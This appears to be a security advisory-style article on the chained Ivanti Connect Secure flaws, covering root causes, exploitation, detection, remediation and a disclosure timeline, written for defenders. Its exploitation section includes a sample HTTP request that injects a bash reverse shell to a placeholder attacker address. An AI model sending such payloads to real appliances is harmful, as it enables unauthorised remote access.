Exploiting Ivanti Connect Secure Flaws What

Chaining Ivanti Connect Secure Flaws for Remote Code Execution

Threat actors actively exploit a chain of vulnerabilities in Ivanti Connect Secure (ICS) and Ivanti Policy Secure gateways. This attack chain bypasses authentication and achieves remote code execution (RCE) on affected appliances. Organizations must address these critical flaws promptly.

What the Vulnerability Is and Its Impact

The primary attack chain involves CVE-2023-46805, an authentication bypass, and CVE-2024-21887, a command injection. Ivanti Connect Secure (formerly Pulse Connect Secure) and Ivanti Policy Secure gateways in versions 9.x and 22.x are affected.

CVE-2023-46805 carries a CVSS score of 8.2 (High). It allows an unauthenticated attacker to bypass access control checks in the web component. This grants initial access to restricted resources.

CVE-2024-21887 has a CVSS score of 9.1 (Critical). This command injection vulnerability exists in the web components. An authenticated administrator can execute arbitrary commands by sending specially crafted requests. When chained with CVE-2023-46805, unauthenticated attackers execute arbitrary commands on the system.

Other significant vulnerabilities in Ivanti Connect Secure appliances include CVE-2024-21888, a privilege escalation flaw (CVSS 8.8), and CVE-2024-21893, a server-side request forgery (SSRF) vulnerability (CVSS 8.2). CVE-2024-21888 allows an authenticated user to elevate privileges to administrator. CVE-2024-21893, in the SAML component, allows an attacker to access restricted resources without authentication. This SSRF vulnerability has been used to bypass initial mitigations for the CVE-2023-46805 and CVE-2024-21887 chain.

Technical Root Cause Analysis

The authentication bypass (CVE-2023-46805) stems from improper neutralization of special elements in URL paths. Attackers manipulate the URL to circumvent authentication filters. This allows access to otherwise protected administrative endpoints without valid credentials.

The command injection (CVE-2024-21887) results from insufficient input validation in web components. An attacker injects malicious commands into parameters that the appliance processes without proper sanitization. This leads to the execution of arbitrary commands with elevated privileges.

CVE-2024-21893, the SSRF vulnerability, resides in the SAML component. It enables an attacker to trick the appliance into making requests to arbitrary internal or external URLs. This bypasses network restrictions and accesses internal services. This flaw could also bypass previous mitigations for the CVE-2023-46805 and CVE-2024-21887 exploit chain.

The privilege escalation vulnerability, CVE-2024-21888, involves improper privilege management within the web component. This allows a less-privileged user to gain administrative access.

Exploitation Mechanics

Chaining Ivanti Connect Secure flaws typically begins with CVE-2023-46805. An unauthenticated attacker crafts a request, often by manipulating the URL path, to bypass the authentication mechanism. This grants them the illusion of authenticated access to certain web resources.

Once the authentication bypass is successful, the attacker leverages CVE-2024-21887. They send a subsequent request to an administrative endpoint. This request contains specially crafted input with injected commands. The vulnerable web component executes these commands on the appliance.

An example of a conceptual attack flow involves sending a request like this (simplified):

GET /api/v1/license/keys/%3bbash%20-i%20%3e%26%20/dev/tcp/ATTACKER_IP/PORT%200%3e%261%3b HTTP/1.1
Host: vulnerable-ivanti.com
User-Agent: Mozilla/5.0

This path manipulation would attempt to bypass authentication and then inject a reverse shell command. The success depends on the specific vulnerable endpoint and the appliance's configuration.

Alternatively, threat actors can use CVE-2024-21893 to bypass mitigations. They might use the SSRF to access internal endpoints or local files, then chain that access with a command injection. This allows unauthenticated remote code execution. Mandiant observed threat actors deploying malware families like ZIPLINE, THINSPOOL, LIGHTWIRE, and WARPWIRE after successful exploitation.

Detection: How to Check If You're Affected

Organizations must actively monitor Ivanti Connect Secure appliances for compromise. Ivanti provides an Integrity Checker Tool (ICT), but attackers can deceive or tamper with it. CISA also validated that the Ivanti ICT was not sufficient to detect compromise.

Look for suspicious file modifications. Attackers often drop webshells or modify legitimate files. Mandiant identified the CHAINLINE web shell embedded in the `/home/venv3/lib/python3.6/site-packages/cav-0.1-py3.6.egg/cav/api/resources/health.py` path. Check for unexpected Perl or Python scripts being executed in memory.

Review system logs for anomalies. Search `/data/log/secure` and `/var/log/messages` for unusual command execution, authentication bypass attempts, or disabled logging. Attackers often wipe logs after compromise.

Monitor network traffic originating from the Ivanti appliance. Look for unusual outbound connections to unknown IP addresses or domains. This could indicate command-and-control (C2) communication or data exfiltration.

Use external scanning tools. A free website vulnerability scanner can help identify outdated Ivanti versions or exposed services. A free port scanner reveals unexpected open ports. Our technology stack detector can identify if your public-facing assets run Ivanti products. Consider using services like Zondex for internet-wide scanning to discover exposed Ivanti instances in your attack surface.

CISA recommends network and memory forensics to identify exploitation evidence, as some threat actor commands execute in memory, bypassing file-based detection. Specifically, look for modifications to `DSAuth.pm` for credential harvesting.

Remediation Steps

Apply vendor patches immediately. Ivanti released patches for all supported versions. Ensure all Ivanti Connect Secure, Ivanti Policy Secure, and Ivanti Neurons for ZTA gateways are updated to the latest secure versions.

If compromise is suspected, perform a factory reset and reimage the appliance. This ensures removal of any persistent malware or backdoors. Restore the configuration from a known-good backup. For virtual appliances, rebuild the instance and upgrade.

Rotate all credentials associated with the Ivanti appliance. This includes local administrator accounts, domain credentials used for LDAP, and API keys. Revoke and reissue any stored certificates. Treat any domain accounts used by the appliance as compromised.

Implement strong network segmentation. Restrict administrative interface access to only trusted internal networks. Enforce multi-factor authentication (MFA) on all administrative realms.

Review and remove unused realms, roles, sign-in URLs, authentication servers, and resource policies. Disable unnecessary features.

Timeline of Disclosure

• Early December 2023: Mandiant and Volexity observe initial exploitation of the zero-day vulnerabilities (CVE-2023-46805 and CVE-2024-21887) by suspected China-nexus espionage actors.
• January 10, 2024: Ivanti publicly discloses CVE-2023-46805 (authentication bypass) and CVE-2024-21887 (command injection). Advisories are released with initial mitigations.
• January 16, 2024: Widespread exploitation by various threat actors begins, including criminal groups, after public proof-of-concept code emerges.
• January 31, 2024: Ivanti discloses additional vulnerabilities: CVE-2024-21888 (privilege escalation) and CVE-2024-21893 (SSRF). CVE-2024-21893 is noted to bypass earlier mitigations.
• February 1, 2024: Ivanti begins releasing official patches for all disclosed vulnerabilities.
• February 29, 2024: CISA, FBI, and international partners release a joint advisory, warning that Ivanti's ICT failed to detect compromise.
• October 3, 2026: Volexity observes a new actor, UTA0576, chaining three Ivanti Connect Secure flaws, including a new authentication bypass and RCE (CVE-2026-104935) and an unpatched privilege escalation, to achieve unauthenticated root access on a fully patched appliance.
• October 13, 2026: Ivanti releases patches for CVE-2026-104935 (authentication bypass by spoofing), with a CVSS of 8.6. CISA adds it to the Known Exploited Vulnerabilities (KEV) Catalog.
• October 29, 2026: Ivanti releases a patch for the privilege escalation vulnerability, CVE-2026-111357, previously unpatched.